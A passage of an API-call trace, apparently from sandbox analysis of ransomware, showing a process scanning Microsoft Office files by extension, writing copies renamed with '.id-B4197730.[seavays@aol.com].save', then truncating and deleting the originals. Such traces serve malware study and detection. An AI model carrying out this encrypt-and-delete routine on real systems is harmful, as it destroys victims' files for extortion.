Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.852] lstrlenW (lpString=".zip") returned 4 [0060.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.852] lstrlenW (lpString=".rar") returned 4 [0060.852] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.852] lstrlenW (lpString=".bz2") returned 4 [0060.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.852] lstrlenW (lpString=".7z") returned 3 [0060.852] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.852] lstrlenW (lpString=".dbf") returned 4 [0060.852] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.852] lstrlenW (lpString=".1cd") returned 4 [0060.852] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0060.852] lstrlenW (lpString=".jpg") returned 4 [0060.852] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.852] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.852] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0060.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.853] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1261) returned 1 [0060.853] CloseHandle (hObject=0x34c) returned 1 [0060.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.853] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.853] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.853] GetLastError () returned 0x0 [0060.853] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.855] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.856] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.856] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.856] SetEndOfFile (hFile=0x2fc) returned 1 [0060.856] CloseHandle (hObject=0x2fc) returned 1 [0060.857] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.857] SetEndOfFile (hFile=0x34c) returned 1 [0060.858] CloseHandle (hObject=0x34c) returned 1 [0060.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0060.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.858] lstrlenW (lpString=".doc") returned 4 [0060.859] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString=".docx") returned 5 [0060.859] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.859] lstrlenW (lpString=".pdf") returned 4 [0060.859] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString=".xls") returned 4 [0060.859] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString=".xlsx") returned 5 [0060.859] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.859] lstrlenW (lpString=".ppt") returned 4 [0060.859] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.859] lstrlenW (lpString=".zip") returned 4 [0060.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.859] lstrlenW (lpString=".rar") returned 4 [0060.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString=".bz2") returned 4 [0060.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString=".7z") returned 3 [0060.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.859] lstrlenW (lpString=".dbf") returned 4 [0060.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.859] lstrlenW (lpString=".1cd") returned 4 [0060.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.859] lstrlenW (lpString=".jpg") returned 4 [0060.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.859] lstrlenW (lpString=".doc") returned 4 [0060.860] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString=".docx") returned 5 [0060.860] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.860] lstrlenW (lpString=".pdf") returned 4 [0060.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString=".xls") returned 4 [0060.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString=".xlsx") returned 5 [0060.860] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.860] lstrlenW (lpString=".ppt") returned 4 [0060.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.860] lstrlenW (lpString=".zip") returned 4 [0060.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.860] lstrlenW (lpString=".rar") returned 4 [0060.860] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString=".bz2") returned 4 [0060.860] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString=".7z") returned 3 [0060.860] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.860] lstrlenW (lpString=".dbf") returned 4 [0060.860] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.860] lstrlenW (lpString=".1cd") returned 4 [0060.860] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0060.860] lstrlenW (lpString=".jpg") returned 4 [0060.860] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.861] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.861] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0060.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.861] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=527958) returned 1 [0060.861] CloseHandle (hObject=0x34c) returned 1 [0060.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.325] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.459] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0061.471] GetLastError () returned 0x0 [0061.471] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0061.482] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0061.491] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.491] WriteFile (in: hFile=0x380, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13e, lpOverlapped=0x0) returned 1 [0061.491] SetEndOfFile (hFile=0x380) returned 1 [0061.492] CloseHandle (hObject=0x380) returned 1 [0061.502] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.502] SetEndOfFile (hFile=0x34c) returned 1 [0061.510] CloseHandle (hObject=0x34c) returned 1 [0061.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0061.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.511] lstrlenW (lpString=".doc") returned 4 [0061.511] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.511] lstrlenW (lpString=".docx") returned 5 [0061.511] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.511] lstrlenW (lpString=".pdf") returned 4 [0061.511] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.511] lstrlenW (lpString=".xls") returned 4 [0061.511] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.511] lstrlenW (lpString=".xlsx") returned 5 [0061.511] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.512] lstrlenW (lpString=".ppt") returned 4 [0061.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.512] lstrlenW (lpString=".zip") returned 4 [0061.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.512] lstrlenW (lpString=".rar") returned 4 [0061.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString=".bz2") returned 4 [0061.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString=".7z") returned 3 [0061.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.512] lstrlenW (lpString=".dbf") returned 4 [0061.512] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.512] lstrlenW (lpString=".1cd") returned 4 [0061.512] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.512] lstrlenW (lpString=".jpg") returned 4 [0061.512] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.512] lstrlenW (lpString=".doc") returned 4 [0061.512] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString=".docx") returned 5 [0061.512] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.512] lstrlenW (lpString=".pdf") returned 4 [0061.512] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString=".xls") returned 4 [0061.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.512] lstrlenW (lpString=".xlsx") returned 5 [0061.512] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.512] lstrlenW (lpString=".ppt") returned 4 [0061.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.513] lstrlenW (lpString=".zip") returned 4 [0061.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.513] lstrlenW (lpString=".rar") returned 4 [0061.513] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.513] lstrlenW (lpString=".bz2") returned 4 [0061.513] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.513] lstrlenW (lpString=".7z") returned 3 [0061.513] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.513] lstrlenW (lpString=".dbf") returned 4 [0061.513] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.513] lstrlenW (lpString=".1cd") returned 4 [0061.513] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0061.513] lstrlenW (lpString=".jpg") returned 4 [0061.513] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.513] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.513] lstrlenW (lpString="AG00092_.GIF") returned 12 [0061.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.460] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=502) returned 1 [0062.460] CloseHandle (hObject=0x370) returned 1 [0062.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0062.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.463] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.463] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.464] GetLastError () returned 0x0 [0062.464] ReadFile (in: hFile=0x370, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0062.465] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x200, lpOverlapped=0x0) returned 1 [0062.466] ReadFile (in: hFile=0x370, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.466] WriteFile (in: hFile=0x2fc, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.470] SetEndOfFile (hFile=0x2fc) returned 1 [0062.472] CloseHandle (hObject=0x2fc) returned 1 [0062.472] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.472] SetEndOfFile (hFile=0x370) returned 1 [0062.473] CloseHandle (hObject=0x370) returned 1 [0062.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0062.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.474] lstrlenW (lpString=".doc") returned 4 [0062.474] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.474] lstrlenW (lpString=".docx") returned 5 [0062.474] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.474] lstrlenW (lpString=".pdf") returned 4 [0062.474] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.474] lstrlenW (lpString=".xls") returned 4 [0062.474] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.474] lstrlenW (lpString=".xlsx") returned 5 [0062.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.474] lstrlenW (lpString=".ppt") returned 4 [0062.474] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.474] lstrlenW (lpString=".zip") returned 4 [0062.474] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.474] lstrlenW (lpString=".rar") returned 4 [0062.474] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.474] lstrlenW (lpString=".bz2") returned 4 [0062.474] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.474] lstrlenW (lpString=".7z") returned 3 [0062.474] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.474] lstrlenW (lpString=".dbf") returned 4 [0062.475] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.475] lstrlenW (lpString=".1cd") returned 4 [0062.475] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.475] lstrlenW (lpString=".jpg") returned 4 [0062.475] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0062.475] lstrlenW (lpString=".doc") returned 4 [0062.475] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.475] lstrlenW (lpString=".docx") returned 5 [0062.475] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned 